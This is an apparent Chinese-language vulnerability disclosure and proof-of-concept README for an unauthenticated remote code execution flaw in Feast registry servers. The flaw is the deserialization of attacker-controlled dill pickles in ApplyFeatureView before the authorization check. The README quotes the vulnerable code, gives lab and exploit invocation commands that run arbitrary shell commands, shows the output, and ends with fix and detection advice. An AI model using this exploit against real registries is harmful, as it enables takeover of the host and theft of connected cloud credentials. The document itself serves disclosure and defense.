CVE-2026-56121 — Feast <0.63.0 通过 gRPC 注册表 dill.loads 对 OnDemandFeatureView UDF 实现未认证远程代码执行(预认证)。包含实验环境 + 概念验证,端到端已验证。
Feast
< 0.63.0的 registry gRPC 服务器dill.loads()用户定义的OnDemandFeatureView函数,一旦 spec 到达就执行——在任何授权检查之前。 默认配置为auth: no_auth,因此任何能够访问 registry 端口(默认6570)的客户端 只需发送一个带有恶意 pickle 的ApplyFeatureView请求,即可实现未授权远程代码执行。
| CVE | CVE-2026-56121 |
| 受影响版本 | Feast < 0.63.0 |
| 修复版本 | 0.63.0 |
| 漏洞类别 | CWE-502(不可信数据反序列化)→ RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证 | 无(auth: no_auth 默认;反序列化发生在授权之前) |
| 攻击面 | registry gRPC RegistryServer.ApplyFeatureView(默认端口 6570) |
| 状态 | 已确认 — 在 feast==0.62.0 上端到端复现 |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) 反序列化
...
assert_permissions_to_update(resource=feature_view, ...) # (2) 授权
self.proxied_registry.apply_feature_view(...)
from_proto (1) 在权限检查 (2) 之前被调用。它解析转换函数,其中 dill.loads() 了 UDF 体——
sdk/python/feast/transformation/pandas_transformation.py(以及 python_transformation.py):
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- 攻击者控制的 pickle
udf_string=user_defined_function_proto.body_text,
)
dill 是 pickle 的超集,因此 dill.loads() 攻击者字节会触发 pickle 的 __reduce__ 机制 → 任意代码执行。由于它在 assert_permissions_to_update 之前执行——且默认的 auth: no_auth 使该检查无效——因此该 RCE 是未授权的。
# 1. 启动一个易受攻击的 registry 服务器(feast 0.62.0, gRPC :6570, 默认 no_auth)
docker compose -f lab/docker-compose.yml up --build -d
# 2. 执行 PoC(无需凭据)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. 命令输出出现在 registry 主机上
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
观察结果:
[*] 发送 ApplyFeatureView,其中 user_defined_function.body 包含 124 字节的恶意 pickle
[*] RPC 状态:UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads 在 from_proto 期间于服务端执行了 payload。
RPC 最终报错(反序列化后的对象不再是可调用的 UDF),但命令已经在 dill.loads() 期间执行——cat /tmp/feast_pwned 返回实时的 id/uname 输出,证明是实际执行而非回显。
任何能够访问 Feast registry gRPC 端口的人都可以以 registry 服务账户的身份执行任意操作系统命令——完全攻破特征存储及其连接到的离线/在线存储、注册表和云凭据。Feast registry 经常暴露在 ML 平台内部供 SDK 客户端调用。
skip_udf 路径,使得 registry 服务器不再反序列化传入 spec 的 UDF 体。auth(oidc/kubernetes),并且绝不要将 registry 端口暴露给不可信网络。请注意,在 < 0.63.0 版本中,仅凭认证并不足够,因为反序列化发生在授权检查之前。针对 registry 的 ApplyFeatureView / ApplyMaterialization RPC 进行告警,这些 RPC 的 OnDemandFeatureView user_defined_function.body 并非由可信客户端产生;同时注意 registry 进程是否生成 shell。
有关 proto 路径、反序列化在授权之前的顺序以及补丁,请参见 ANALYSIS.md。